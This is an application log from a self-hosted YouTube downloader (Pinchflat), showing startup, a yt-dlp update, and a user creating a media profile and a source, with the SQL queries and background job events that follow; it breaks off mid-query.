20:43:28.059 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 20:43:28.059 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 20:43:28.059 [debug] QUERY OK source="oban_jobs" db=0.1ms queue=1.8ms idle=0.0ms UPDATE "oban_jobs" AS o0 SET "state" = ? WHERE (o0."state" = 'executing') ["retryable"] 20:43:28.059 [info] Reset 0 executing jobs 20:43:28.059 [info] Creating blank file: /config/extras/cookies.txt 20:43:28.060 [info] Creating blank file: /config/extras/yt-dlp-configs/base-config.txt 20:43:28.060 [info] Creating blank file and making it executable: /config/extras/user-scripts/lifecycle 20:43:28.060 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 20:43:28.060 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 20:43:28.060 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 20:43:28.061 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 20:43:28.483 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.09.26 20:43:28.483 [info] [command_wrapper]: /usr/local/bin/apprise called with: --version 20:43:28.551 [debug] [command_wrapper]: /usr/local/bin/apprise called with: --version exited: 0 with: Apprise v1.9.4 Copyright (C) 2025 Chris Caron This code is licensed under the BSD 2-Clause License. 20:43:28.551 [debug] QUERY OK source="settings" db=0.0ms queue=0.1ms idle=491.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:28.553 [debug] QUERY OK source="settings" db=1.4ms idle=491.8ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2025.09.26", 1] 20:43:28.553 [debug] QUERY OK source="settings" db=0.1ms idle=492.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:28.553 [debug] QUERY OK source="settings" db=0.0ms idle=492.4ms UPDATE "settings" SET "apprise_version" = ? WHERE "id" = ? ["v1.9.4", 1] 20:43:28.553 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:43:28.554 [info] {"message":"notifier only receiving messages from its own node, functionality may be degraded","source":"oban","event":"notifier:switch","connectivity_status":"solitary"} 20:43:28.557 [info] Running PinchflatWeb.Endpoint with cowboy 2.13.0 at 0.0.0.0:8945 (http) 20:43:28.557 [info] Access PinchflatWeb.Endpoint at http://localhost:8945 20:43:28.563 [info] {"args":{},"id":1,"meta":{},"system_time":1774658608563872832,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 20:43:28.563 [info] Updating yt-dlp 20:43:28.563 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 20:43:30.491 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Current version: stable@2025.09.26 from yt-dlp/yt-dlp Latest version: stable@2026.03.17 from yt-dlp/yt-dlp Current Build Hash: d2f07382138f4bd882254996502636f5a67a8c5ee5ab8a25807e2784a4878642 Updating to stable@2026.03.17 from yt-dlp/yt-dlp ... Updated yt-dlp to stable@2026.03.17 from yt-dlp/yt-dlp 20:43:30.491 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 20:43:30.906 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 20:43:30.906 [debug] QUERY OK source="settings" db=0.1ms idle=848.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:30.906 [debug] QUERY OK source="settings" db=0.0ms idle=848.9ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2026.03.17", 1] 20:43:30.906 [info] {"args":{},"id":1,"meta":{},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":2342553,"event":"job:stop","queue_time":563423,"attempt":1,"tags":["local_data"]} 20:43:31.057 [debug] Tzdata polling for update. 20:43:31.340 [info] tzdata release in place is from a file last modified Thu, 16 Jan 2025 17:10:51 GMT. Release file on server was last modified Mon, 02 Mar 2026 15:21:37 GMT. 20:43:31.340 [debug] Tzdata downloading new data from https://data.iana.org/time-zones/tzdata-latest.tar.gz 20:43:31.457 [debug] Tzdata data downloaded. Release version 2026a. 20:43:31.688 [info] Tzdata has updated the release from 2025a to 2026a 20:43:31.688 [debug] Tzdata deleting ETS table for version 2025a 20:43:31.689 [debug] Tzdata deleting ETS table file for version 2025a 20:43:45.255 [info] GET / 20:43:45.256 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:43:45.256 [debug] QUERY OK source="settings" db=0.2ms idle=1198.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:45.257 [debug] QUERY OK source="settings" db=0.3ms idle=1199.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:45.258 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=1199.9ms SELECT 1 FROM "media_profiles" AS m0 LIMIT 1 [] 20:43:45.258 [debug] QUERY OK source="sources" db=0.0ms queue=0.2ms idle=1200.5ms SELECT 1 FROM "sources" AS s0 LIMIT 1 [] 20:43:45.259 [debug] QUERY OK source="settings" db=0.2ms idle=673.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:45.259 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:45.263 [info] Sent 200 in 7ms 20:43:49.584 [info] GET /media_profiles/new 20:43:49.584 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 20:43:49.585 [debug] QUERY OK source="settings" db=0.2ms idle=991.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:49.586 [debug] QUERY OK source="settings" db=0.2ms idle=528.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:49.586 [debug] QUERY OK source="settings" db=0.1ms idle=528.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:49.587 [debug] QUERY OK source="settings" db=0.1ms idle=529.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:49.589 [info] Sent 200 in 5ms 20:43:58.557 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.556 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:28.558 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:58.559 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.556 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:28.561 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:58.563 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.557 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:03.605 [info] POST /media_profiles 20:46:03.605 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.create/2 Parameters: %{"_csrf_token" => "Hw48VwdIPCQnXVNGKmEOJ1UBTkNZJRwHtin4i-EHwnc1r-adgByrnrjj", "media_profile" => %{"audio_track" => "", "download_auto_subs" => "false", "download_metadata" => "false", "download_nfo" => "false", "download_source_images" => "false", "download_subs" => "false", "download_thumbnail" => "false", "embed_metadata" => "true", "embed_subs" => "true", "embed_thumbnail" => "true", "livestream_behaviour" => "exclude", "media_container" => "", "name" => "Default", "output_path_template" => "/{{ source_custom_name }}/{{ upload_yyyy_mm_dd }} {{ title }}/{{ title }} [{{ id }}].{{ ext }}", "preferred_resolution" => "1080p", "redownload_delay_days" => "", "shorts_behaviour" => "include", "sponsorblock_behaviour" => "disabled", "sub_langs" => "en"}, "media_profile_preset" => ""} Pipelines: [:browser] 20:46:03.607 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1548.8ms INSERT INTO "media_profiles" ("name","download_nfo","output_path_template","sponsorblock_categories","sponsorblock_behaviour","download_thumbnail","embed_thumbnail","download_auto_subs","download_subs","embed_subs","sub_langs","preferred_resolution","download_metadata","embed_metadata","download_source_images","livestream_behaviour","shorts_behaviour","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18,?19) RETURNING "id" ["Default", false, "/{{ source_custom_name }}/{{ upload_yyyy_mm_dd }} {{ title }}/{{ title }} [{{ id }}].{{ ext }}", [], :disabled, false, true, false, false, true, "en", :"1080p", false, true, false, :exclude, :include, ~U[2026-03-28 00:46:03Z], ~U[2026-03-28 00:46:03Z]] 20:46:03.607 [debug] QUERY OK source="settings" db=0.1ms idle=1549.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:03.607 [info] Sent 302 in 2ms 20:46:03.624 [info] GET / 20:46:03.625 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{"onboarding" => "1"} Pipelines: [:browser] 20:46:03.625 [debug] QUERY OK source="settings" db=0.2ms idle=1567.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:03.626 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1568.3ms SELECT 1 FROM "media_profiles" AS m0 LIMIT 1 [] 20:46:03.626 [debug] QUERY OK source="sources" db=0.0ms idle=764.7ms SELECT 1 FROM "sources" AS s0 LIMIT 1 [] 20:46:03.626 [debug] QUERY OK source="settings" db=0.1ms idle=19.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:03.627 [debug] QUERY OK source="settings" db=0.3ms idle=19.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:03.629 [info] Sent 200 in 4ms 20:46:07.642 [info] GET /sources/new 20:46:07.643 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 20:46:07.644 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.3ms idle=774.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 20:46:07.645 [debug] QUERY OK source="settings" db=0.3ms idle=587.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:07.645 [debug] QUERY OK source="settings" db=0.2ms idle=587.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:07.646 [debug] QUERY OK source="settings" db=0.1ms idle=588.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:07.647 [debug] QUERY OK source="settings" db=0.2ms idle=589.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:07.651 [info] Sent 200 in 8ms 20:46:28.565 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:41.276 [info] POST /sources 20:46:41.277 [debug] Processing with PinchflatWeb.Sources.SourceController.create/2 Parameters: %{"_csrf_token" => "KBIxLQAhEB4GSlhOHgcHK1suYW5zFBRZCucNnDirVyh9FKhhimV_DCb4", "download_cutoff_date_preset" => "", "source" => %{"cookie_behaviour" => "disabled", "custom_name" => "Last Meals", "download_cutoff_date" => "", "download_media" => "true", "fast_index" => "false", "index_frequency_minutes" => "1440", "max_duration_seconds" => "", "media_profile_id" => "1", "min_duration_seconds" => "", "original_url" => "https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB", "output_path_template_override" => "", "retention_period_days" => "", "title_filter_regex" => ""}} Pipelines: [:browser] 20:46:41.277 [debug] Running yt-dlp command for action: get_source_details 20:46:41.279 [debug] QUERY OK source="settings" db=0.2ms idle=1221.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:41.279 [debug] QUERY OK source="settings" db=0.2ms idle=341.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:41.279 [debug] QUERY OK source="settings" db=0.2ms idle=222.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:41.280 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/e0/34/e03436e76ea382db7e8ca756028f6aa8e9117f2b8008df4d9e88ee1cc706066f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:46:44.242 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/e0/34/e03436e76ea382db7e8ca756028f6aa8e9117f2b8008df4d9e88ee1cc706066f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:46:44.243 [debug] QUERY OK source="sources" db=0.1ms idle=1185.2ms INSERT INTO "sources" ("enabled","uuid","original_url","download_media","media_profile_id","custom_name","collection_id","collection_name","collection_type","fast_index","index_frequency_minutes","cookie_behaviour","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14) RETURNING "id" [true, "8fb24aee-feec-4af5-920e-ef31159eb507", "https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB", true, 1, "Last Meals", "show", "show", :playlist, false, 1440, :disabled, ~U[2026-03-28 00:46:44Z], ~U[2026-03-28 00:46:44Z]] 20:46:44.243 [debug] QUERY OK source="tasks" db=0.1ms idle=1185.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."worker" LIKE ?) AND (o1."state" IN (?,?,?,?)) [1, "%.MediaCollectionIndexingWorker", "available", "scheduled", "retryable", "executing"] 20:46:44.244 [debug] QUERY OK source="tasks" db=0.0ms idle=300.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2, 1, ~U[2026-03-28 00:46:44Z], ~U[2026-03-28 00:46:44Z]] 20:46:44.244 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3, 1, ~U[2026-03-28 00:46:44Z], ~U[2026-03-28 00:46:44Z]] 20:46:44.244 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.244 [info] Sent 302 in 2968ms 20:46:44.250 [info] {"args":{"id":1},"id":3,"meta":{},"system_time":1774658804250653213,"max_attempts":3,"queue":"remote_metadata","worker":"Pinchflat.Metadata.SourceMetadataStorageWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","source_metadata","remote_metadata","show_in_dashboard"]} 20:46:44.250 [debug] QUERY OK source="sources" db=0.0ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:44.251 [debug] QUERY OK source="source_metadata" db=0.0ms idle=6.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:46:44.251 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:44.251 [debug] Running yt-dlp command for action: get_source_details 20:46:44.251 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.251 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.251 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.251 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/6d/43/6d43a4b9bbdcf571f819311cc0b29e74e4e3bd995f65c8bb7514022a9264743c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:46:44.256 [info] GET / 20:46:44.256 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{"onboarding" => "1"} Pipelines: [:browser] 20:46:44.257 [debug] QUERY OK source="settings" db=0.0ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.257 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.0ms SELECT 1 FROM "media_profiles" AS m0 LIMIT 1 [] 20:46:44.257 [debug] QUERY OK source="sources" db=0.0ms idle=5.7ms SELECT 1 FROM "sources" AS s0 LIMIT 1 [] 20:46:44.257 [debug] QUERY OK source="settings" db=0.0ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.257 [debug] QUERY OK source="settings" db=0.0ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.258 [info] Sent 200 in 1ms 20:46:44.953 [info] {"args":{"id":1},"id":2,"meta":{},"system_time":1774658804952885230,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:46:44.953 [debug] QUERY OK source="sources" db=0.2ms idle=696.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:44.954 [debug] QUERY OK source="settings" db=0.3ms idle=696.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.955 [debug] QUERY OK source="media_items" db=0.3ms queue=0.4ms idle=697.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream 